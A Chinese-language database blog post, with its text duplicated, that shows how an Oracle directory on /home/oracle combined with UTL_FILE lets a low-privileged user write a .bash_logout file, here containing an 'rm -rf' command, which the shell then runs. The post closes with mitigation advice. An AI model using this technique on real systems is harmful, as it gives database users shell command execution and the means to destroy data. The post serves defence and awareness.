oracle中create directory建在/home/oracle下可能存在的風險
impdp/expdp等是需要建目錄進行匯入匯出的,如果oracle中建一個driectory在/home/oracle下,這樣只要有對這個directory進行write許可權的資料庫使用者,
再加上預設就有對utl_file包的execute許可權,就可以做很多事情.
以下演示:
##在/home/oracle下,建一個文字檔案
[oracle@ct6605 ~]$ touch /home/oracle/abc.txt
[oracle@ct6605 ~]$ ll /home/oracle/abc.txt
-rw-r--r-- 1 oracle oinstall 0 Oct 19 11:09 /home/oracle/abc.txt
[oracle@ct6605 ~]$ sqlplus system/system
SQL*Plus: Release 11.2.0.4.0 Production on Mon Oct 19 11:04:31 2015
Copyright (c) 1982, 2013, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
--在/home/oracle下建一個direcotry
SQL> create directory home_dump as '/home/oracle';
Directory created.
--啟用scott,用以測試
SQL> alter user scott account unlock;
User altered.
SQL> alter user scott identified by system;
User altered.
--授給scott對home_dump的寫許可權
SQL> grant write on directory home_dump to scott;
Grant succeeded.
SQL> conn scott/system
Connected.
--透過utl_file,修改/home/oracle/.bash_profile下的檔案,使當oracle使用者登入linux又登出時,自動執行此指令碼,此處可以操作所以oracle使用者有許可權的檔案,
這裡只是刪除一個abc.txt,如果改成刪除oracle的資料檔案加備份,後果就比較嚴重了.
SQL> DECLARE
t_fh utl_file.file_type;
begin
t_fh := utl_file.fopen('HOME_DUMP','.bash_logout','w');
utl_file.put_line(t_fh,'rm -rf /home/oracle/abc.txt');
utl_file.fclose(t_fh);
end; 2 3 4 5 6 7
8 /
PL/SQL procedure successfully completed.
SQL> exit
[oracle@ct6605 ~]$ cat .bash_logout
rm -rf /home/oracle/abc.txt
[oracle@ct6605 ~]$ exit
logout
--這裡可以看到/home/oracle/abc.txt已經被刪除了
[root@ct6605 ~]# ll /home/oracle/abc.txt
ls: cannot access /home/oracle/abc.txt: No such file or directory
可以看到,要防止此問題的發生,就要管控好directory的create,write許可權,儘量去掉public的utl_file包execute許可權.
另外順便提一下,mysql中,select ... into outfile同樣存在類似風險.
再加上預設就有對utl_file包的execute許可權,就可以做很多事情.
以下演示:
##在/home/oracle下,建一個文字檔案
[oracle@ct6605 ~]$ touch /home/oracle/abc.txt
[oracle@ct6605 ~]$ ll /home/oracle/abc.txt
-rw-r--r-- 1 oracle oinstall 0 Oct 19 11:09 /home/oracle/abc.txt
[oracle@ct6605 ~]$ sqlplus system/system
SQL*Plus: Release 11.2.0.4.0 Production on Mon Oct 19 11:04:31 2015
Copyright (c) 1982, 2013, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
--在/home/oracle下建一個direcotry
SQL> create directory home_dump as '/home/oracle';
Directory created.
--啟用scott,用以測試
SQL> alter user scott account unlock;
User altered.
SQL> alter user scott identified by system;
User altered.
--授給scott對home_dump的寫許可權
SQL> grant write on directory home_dump to scott;
Grant succeeded.
SQL> conn scott/system
Connected.
--透過utl_file,修改/home/oracle/.bash_profile下的檔案,使當oracle使用者登入linux又登出時,自動執行此指令碼,此處可以操作所以oracle使用者有許可權的檔案,
這裡只是刪除一個abc.txt,如果改成刪除oracle的資料檔案加備份,後果就比較嚴重了.
SQL> DECLARE
t_fh utl_file.file_type;
begin
t_fh := utl_file.fopen('HOME_DUMP','.bash_logout','w');
utl_file.put_line(t_fh,'rm -rf /home/oracle/abc.txt');
utl_file.fclose(t_fh);
end; 2 3 4 5 6 7
8 /
PL/SQL procedure successfully completed.
SQL> exit
[oracle@ct6605 ~]$ cat .bash_logout
rm -rf /home/oracle/abc.txt
[oracle@ct6605 ~]$ exit
logout
--這裡可以看到/home/oracle/abc.txt已經被刪除了
[root@ct6605 ~]# ll /home/oracle/abc.txt
ls: cannot access /home/oracle/abc.txt: No such file or directory
可以看到,要防止此問題的發生,就要管控好directory的create,write許可權,儘量去掉public的utl_file包execute許可權.
另外順便提一下,mysql中,select ... into outfile同樣存在類似風險.
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/28539951/viewspace-1814910/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 使用ACTION_IMAGE_CAPTURE可能存在的風險APT
- 中科院:調查顯示大約21.48%的大學生可能存在抑鬱風險 45.28%的大學生可能存在焦慮風險
- $ORACLE_HOME/OPatch/opatch prereq CheckConflictAgainstOHWithOracleAI
- 備份與恢復oracle_homeOracle
- use azure data studio to create external table for oracleOracle
- 【DBA】Oracle DBA安全之道(規避風險,堅守底線)Oracle
- 【PDB】Oracle 建立pdb說明(create pluggable database)OracleDatabase
- 2.2.3 關於配置Oracle-Home只讀模式Oracle模式
- Oracle 12c新特性---Rapid Home Provisioning (RHP)OracleAPI
- 管理(006):啟用只讀Oracle Home目錄Oracle
- ORACLE RAC TO RAC DG搭建過程中可能遇到的問題Oracle
- pg_basebackup 報錯could not create directory
- python中的風險Python
- oracle 19c 無法create table解決Oracle
- 【DBA】Relinking Oracle Home 常見問題 (Doc ID 2048232.1)Oracle
- Oracle 調優確定存在問題的SQLOracleSQL
- 2021年全球風險展望:明確存在的危險,0-2年短期風險(附原資料表)
- oracle中判斷欄位是否存在和新增表結構Oracle
- 誰下載了你的檔案?沒有管控等於預設風險存在
- mac 下vscode 更新時提示:Could not create temporary directory: 許可權被拒絕MacVSCode
- Oracle中的sql hintOracleSQL
- oracle 中的事務Oracle
- Oracle 中的exception——(Raise)OracleExceptionAI
- 2021年全球風險展望:存在的威脅,5-10年長期風險(附原資料表)
- 研究發現電子煙可能會增加骨折的風險
- 寶塔如何掃描該站點的是否存在的風險漏洞
- 研究發現基因編輯可能增加癌症風險
- 微信訊息可能洩露?Google Play Store熱門應用存在遠端程式碼執行風險Go
- Oracle 12c和18c中的MGMTDB(下)Oracle
- Windows下Oracle的下載與安裝WindowsOracle
- iOS環境下的中間人攻擊風險淺析iOS
- GI PSU打補丁之opatch auto 自動方式分別打GI_HOME和ORACLE_HOMEOracle
- 你常用的瀏覽器處處存在洩露風險!你不想了解一下嗎?瀏覽器
- oracle 11.2.0.4 DataGuard Broker配置過程中可能遇到的問題及解決方法Oracle
- windows下oracle安裝WindowsOracle
- oracleLinux下安裝oracleOracleLinux
- ubuntu下安裝oracleUbuntuOracle
- Oracle 認證下載Oracle
- 11、Oracle中的檢視Oracle